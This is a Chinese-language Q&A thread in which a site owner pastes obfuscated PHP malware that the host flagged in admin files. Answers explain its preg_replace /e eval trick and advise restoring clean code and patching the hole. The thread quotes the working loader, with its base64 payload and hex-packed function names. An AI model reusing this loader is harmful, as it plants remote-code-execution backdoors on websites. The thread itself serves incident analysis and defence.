我不知道这是否是问这个问题的合适地方,如果不是,请告诉我。
我最近得到了一个项目,将一个网站从一个主机(不知道是哪个(转移到一个新的主机(hostgator(。我这样做了,不到一天就收到了hostgator的邮件,说该网站已经被屏蔽,因为在服务器上发现了恶意文件。他们给了我一份php文件的列表,里面有"恶意软件"。我打开它们,肯定有一些不同寻常的东西。有一个巨大的十六进制字符串(此后称为THE STRING
(被分配给一个全局变量,在它下面还有更多的胡言乱语
我试着理解代码,我所理解的内容写在评论中
<?php
$I1ll=0;$GLOBALS['I1ll'] = ';!AY3VybAqbX2luaXQYWxsb3dfdXJsX2ZvcGVuJFlMQipVX3NldG9wdAU&=X2V4ZWMpxtXwGEXY2xvc2UxDFy&PGltZyBzcmM9Ig^ZIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4CHgoegSFRUUF9IT1NU%_MTI3LgNjbMTAuAgNMTkyLjE2OC4.gdwb}ub3Nvbi5pbgZ2Fib3Iuc2U.c2lsYmVyLmRlZDaGF2ZWFwb2tlLmNvbS5hdQ^PWV8&OgZGlzcGxheV9lcnJvcnMOkZGV0ZXJtaW5hdG9yZnRwDm Mi4xMgMroSUkxSTFsbGwxwU qYmFzZTY0X2RlY29kZQivkYmFzZTY0X2VuY29kZQeaHR0cDovLwFq}SFRUUF9VU0VSX0FHRU5UW*dW5pb24_D.c2VsZWN0cyrUkVRVUVTVF9VUkkbU0NSSVBUX05BTUUUVVFUllfU1RSSU5H@_Pw(FL3RtcC8R.kjL3RtcAQVE1QhuVEVNUAkVE1QRElSaKuAdXBsb2FkX3RtcF9kaXIdLg~gdmVyc2lv$LQjLXBocA=kSFRUUF9FWEVDUEhQN;Ijjb3V0b2sH$!iRaHR0cAIOi8vii}L3BnLnBocD91PQ~XJms9mBJnQ9cGhwJnA9?nMJnY9Cd*qZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SU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HBkQ2d3S1RzZ2ZTQnBaaUFvUUdselgyWnBiR1VvSkhSdGNDa3BleUJBYVc1amJIVmtaVjl2Ym1ObEtDUjBiWEFwT3lCOUlHVnNjMlY3SUNSSmJFa3hNVEU5UUhWeWJHVnVZMjlrWlNna1NXeEpNVEV4S1RzZ2RYQmtLQ1IwYlhBc1NURXhNVWxKTVRFb05UazVMQ0EyS1M1Sk1URXhTVWt4TVNnMk1EWXNJRFFwTGlSSk1XeEpiR3hiTUYwdVNURXhNVWxKTVRFb05qRXpMQ0F4TkNrdUpFbHNTVEV4TVM1Sk1URXhTVWt4TVNnMk1qa3NJRFFwTGlSSlNXd3hTVEV1U1RFeE1VbEpNVEVvTmpNMUxDQXhNaWt1SkVreGJFbHNNUzVKTVRFeFNVa3hNU2cyTlRBc0lEUXBMaVJKYkd3eGJFa3BPeUI5SUgwZ2ZRPT0iKSk7cHJlZ19yZXBsYWNlyr?6261736536345f6465636f6465';
if (!function_exists('I111II11')){ //if function doesn't exist
function I111II11($a, $b){ //define the function
$c=$GLOBALS['I1ll']; //get hexadecimal value
$d=pack('H*',substr($c, -26)); //pack data into binary string passing last 26 characters of THE STRING, translates to 'base64_decode'
return $d(substr($c, $a, $b)); //base64_decode the required section of THE STRING
}
};
$Illl1I1l1 = I111II11(6482, 16); // wants to process 'cHJlZ19yZXBsYWNl' translates to 'preg_replace'
$Illl1I1l1("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI"); // Replace 'IIIIll1lI' with 'qZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUFVVOVBUeWw3SUNSSk1XeHNTVEVnUFNCSk1URXhTVWt4TVNnekxDQTJLVHNnSkVreFNURXhNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTVRFc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1NURX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LQ1IwYlhBc1NURXhNVWxKTVRFb05UazVMQ0EyS1M1Sk1URXhTVWt4TVNnMk1EWXNJRFFwTGlSSk1XeEpiR3hiTUYwdVNURXhNVWxKTVRFb05qRXpMQ0F4TkNrdUpFbHNTVEV4TVM1Sk1URXhTVWt4TVNnMk1qa3NJRFFwTGlSSlNXd3hTVEV1U1RFeE1VbEpNVEVvTmpNMUxDQXhNaWt1SkVreGJFbHNNUzVKTVRFeFNVa3hNU2cyTlRBc0lEUXBMaVJKYkd3eGJFa3BPeUI5SUgwZ2ZRPT0iKSk'
?>
所以最后它使用了一个preg_replace
函数来替换一个字符串,但这段代码的目的是什么,它没有对它做任何事情,甚至echo
也没有对它进行处理。这是为了消耗CPU时间吗?/e
修饰符与它有关吗?
我想提到的另一件事是,文件中有更多的代码,普通代码。这些不是垃圾文件,这些是网站的管理文件,用于管理网站,如添加或删除内容等。
此外,所有文件也不完全相同,它们有不同的字符串,并根据字符数提取不同的部分。
知道是什么吗?
编辑:我发现了一个类似的问题,其中发布了一个经过清理的版本,并详细解释了
$Illl1I1l1("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI")
转换为
preg_replace("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI")
其中重要的是/e
导致I111II11(658, 5824)
的输出在替换之前被评估为PHP代码。
I111II11(658, 5824)
返回
eval(base64_decode("aWYgKCFkZWZpbmVkK...bEkpOyB9IH0gfQ=="));
如果您将eval
更改为echo
,您将看到正在执行的PHP代码。我没有把它完全粘贴在这里,但如果你愿意,你可以试着理解它。
if (!defined("determinator")) {
function getfile($QOQOOO) {
$I1llI1 = I111II11(3, 6);
$I1I111 = $I1llI1.I111II11(11, 7);
...
代码中有以CURLOPT_
开头的字符串,因此似乎下载了一些内容。
一旦你确定这是一次黑客攻击(在这种情况下,这是显而易见的(,就不会有太多的精力去理解代码的作用或它是如何做到的。你的首要责任应该是:
- 将网站恢复到未损坏状态
- 要了解黑客攻击是如何发生的
- 采取措施防止再次发生
第一点,我真的希望你有一个原始的代码副本,在黑客攻击之前。如果它是自定义编写的代码,那么希望您在某个地方有原始源代码。如果是第三方应用程序,那么您可以从原始供应商处下载不要尝试从被黑客入侵的文件中恢复;你可以看到明显的技巧,但可能还有其他不太明显的东西;除非你做一个完整的代码审计,否则你不会知道。
切换到新主机可以帮助处理#3,这取决于#2的答案。无论如何,你都在这么做,所以这是一个好的开始。
另一方面,如果您的原始PHP应用程序存在被利用的漏洞,那么再多的主机切换也无济于事;您实际上需要修复代码。对于第三方应用程序,如果该应用程序得到很好的支持,则很可能通过升级到最新版本来实现。对于自定义编写的代码,您需要自己查找安全缺陷。
一旦你完成了保护网站的所有工作,那么你就可以花时间分析实际被黑客入侵的代码。
Hey@VeeK我观察到了代码,上面代码中的可疑之处在于使用带有e修饰符的preg_replace,这是危险的,因此在最新版本的php中不推荐使用,因为这会导致远程恶意代码执行。作为一个hostgator用户,我可以说hostgator对所有上传的文件都进行了后端验证,这显然抓住了代码执行逻辑
对于您的参考,这些是来自安全研究人员的最佳资源:
阅读此处